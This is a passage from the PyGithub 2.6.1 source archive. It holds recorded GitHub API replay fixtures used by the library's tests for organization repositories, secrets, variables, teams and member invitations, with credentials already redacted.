'200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '2291'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4bcc5321db433ac18171c121303c77d2"'), ('date', 'Tue, 29 May 2012 18:11:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"mirror_url":null,"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","html_url":"https://github.com/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","forks":1,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"full_name":"BeaverSoftware/FatherBeaver"},{"mirror_url":null,"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-29T18:09:14Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","html_url":"https://github.com/BeaverSoftware/PyGithub","has_wiki":false,"has_pages":true,"has_issues":false,"fork":true,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","forks":0,"size":428,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-29T18:05:10Z","created_at":"2012-05-29T18:03:19Z","id":4485562,"full_name":"BeaverSoftware/PyGithub"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetSecret.txt0000644000175100001660000001555314756101563024160 0ustar00runnerdockerhttps GET api.github.com None /repos/BeaverSoftware/TestPyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"} https GET api.github.com None /repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} https GET api.github.com None /orgs/BeaverSoftware/actions/secrets/secret-name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"name": "secret-name","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/actions/secrets/secret-name/repositories"} https GET api.github.com None /orgs/BeaverSoftware/actions/secrets/secret-name/repositories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"total_count": 2, "repositories": [{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}, {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetSecrets.txt0000644000175100001660000000136014756101563024332 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/actions/secrets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"total_count": 1, "secrets": [{"name": "secret-name","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/actions/secrets/secret-name/repositories"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetTeamBySlug.txt0000644000175100001660000000114014756101563024732 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/teams/Members {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-ratelimit-limit', '5000'), ('content-length', '128'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"f93241eaf43847bcf38b352f25595e28"'), ('date', 'Tue, 18 Jun 2019 10:32:13 GMT'), ('content-type', 'application/json; charset=utf-8')] {"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetTeams.txt0000644000175100001660000000115614756101563023776 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/teams {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '150'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"43d7c883d1cb7d50a08d2c189550023c"'), ('date', 'Sun, 27 May 2012 05:13:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/teams/141496","name":"Members","id":141496},{"url":"https://api.github.com/teams/141487","name":"Owners","id":141487}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetVariable.txt0000644000175100001660000001562614756101563024461 0ustar00runnerdockerhttps GET api.github.com None /repos/BeaverSoftware/TestPyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"} https GET api.github.com None /repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} https GET api.github.com None /orgs/BeaverSoftware/actions/variables/variable-name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"name": "variable-name","value": "variable-value123","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/actions/variables/variable-name/repositories"} https GET api.github.com None /orgs/BeaverSoftware/actions/variables/variable-name/repositories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"total_count": 2, "repositories": [{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}, {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetVariables.txt0000644000175100001660000000137214756101563024635 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/actions/variables {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"total_count": 1, "variables": [{"name": "variable-name","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/actions/variables/variable-name/repositories"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testInviteUserAsNonOwner.txt0000644000175100001660000000141614756101563026333 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/invitations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json', 'Accept': 'application/vnd.github.dazzler-preview+json'} {"email": "bar@example.com"} 403 [('status', '403 Forbidden'), ('x-ratelimit-remaining', '4980'), ('content-length', '37'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fb43ecb6e2f75e3940aa8e9edc5ed691"'), ('date', 'Sun, 26 Aug 2018 01:19:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"documentation_url": "https://developer.github.com/v3/orgs/members/#create-organization-invitation", "message": "You must be an admin to create an invitation to an organization."} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testInviteUserByEmail.txt0000644000175100001660000000544614756101563025633 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/invitations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json', 'Accept': 'application/vnd.github.dazzler-preview+json'} {"email": "foo@example.com"} 201 [('content-length', '1273'), ('x-runtime-rack', '0.071768'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'admin:org'), ('etag', '"a7e7e69aa42ed0d2132dbfcaa032dbf7"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '201 Created'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.dazzler-preview; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A542:171F:1945733:1F92438:5B822DC1'), ('date', 'Sun, 26 Aug 2018 04:34:24 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1535261649')] {"created_at":"2018-08-26T04:15:26Z","email":"foo@example.com","invitation_teams_url":"https://api.github.com/organizations/42690536/invitations/12423419/teams","node_id":"MDIyOk9yZ2FuaXphdGlvbkludml0YXRpb24xMjQyMzQxOQ==","role":"direct_member","team_count":0,"login":null,"inviter":{"following_url":"https://api.github.com/users/jacquev6/following{/other_user}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://avatars0.githubusercontent.com/u/327146?v=4","url":"https://api.github.com/users/jacquev6","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","html_url":"https://github.com/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","node_id":"MDQ6VXNlcjE1MjI1MDU5","repos_url":"https://api.github.com/users/jacquev6/repos","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","site_admin":false,"login":"jacquev6","type":"User","id":327146,"followers_url":"https://api.github.com/users/jacquev6/followers","organizations_url":"https://api.github.com/users/jacquev6/orgs"},"id":12423419} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testInviteUserByName.txt0000644000175100001660000001004014756101563025446 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fc78d67f262cad756e42354c78ecea4e"'), ('date', 'Tue, 28 Aug 2018 00:16:42 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":11,"type":"User","disk_usage":17080,"hireable":false,"blog":"http://vincent-jacques.net","url":"https://api.github.com/users/jacquev6","bio":"","plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","total_private_repos":5,"public_gists":2,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","owned_private_repos":5,"private_gists":5,"collaborators":0,"email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} https POST api.github.com None /orgs/BeaverSoftware/invitations {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.dazzler-preview+json'} {"invitee_id": 327146} 201 [('content-length', '1275'), ('x-runtime-rack', '0.117213'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'admin:org'), ('etag', '"25cb4d8e0275889661b12ee12785894c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '201 Created'), ('x-ratelimit-remaining', '4990'), ('x-github-media-type', 'github.dazzler-preview; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'EA96:5917:ED3378:133B5C8:5B849484'), ('date', 'Tue, 28 Aug 2018 00:17:45 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1535417380')] {"created_at":"2018-08-28T00:17:45Z","email":"vincent@vincent-jacques.net","invitation_teams_url":"https://api.github.com/organizations/42733195/invitations/12434153/teams","node_id":"MDIyOk9yZ2FuaXphdGlvbkludml0YXRpb24xMjQzNDE1Mw==","role":"direct_member","team_count":0,"login":"jacquev6","inviter":{"following_url":"https://api.github.com/users/jacquev6/following{/other_user}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://avatars0.githubusercontent.com/u/327146?v=4","url":"https://api.github.com/users/jacquev6","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","html_url":"https://github.com/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","node_id":"MDQ6VXNlcjE1MjI1MDU5","repos_url":"https://api.github.com/users/jacquev6/repos","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","site_admin":false,"login":"jacquev6","type":"User","id":327146,"followers_url":"https://api.github.com/users/jacquev6/followers","organizations_url":"https://api.github.com/users/jacquev6/orgs"},"id":12434153} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testInviteUserWithBoth.txt0000644000175100001660000000235614756101563026036 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fc78d67f262cad756e42354c78ecea4e"'), ('date', 'Tue, 28 Aug 2018 00:16:42 GMT'), ('content-type', 'application/json; charset=utf-8')] 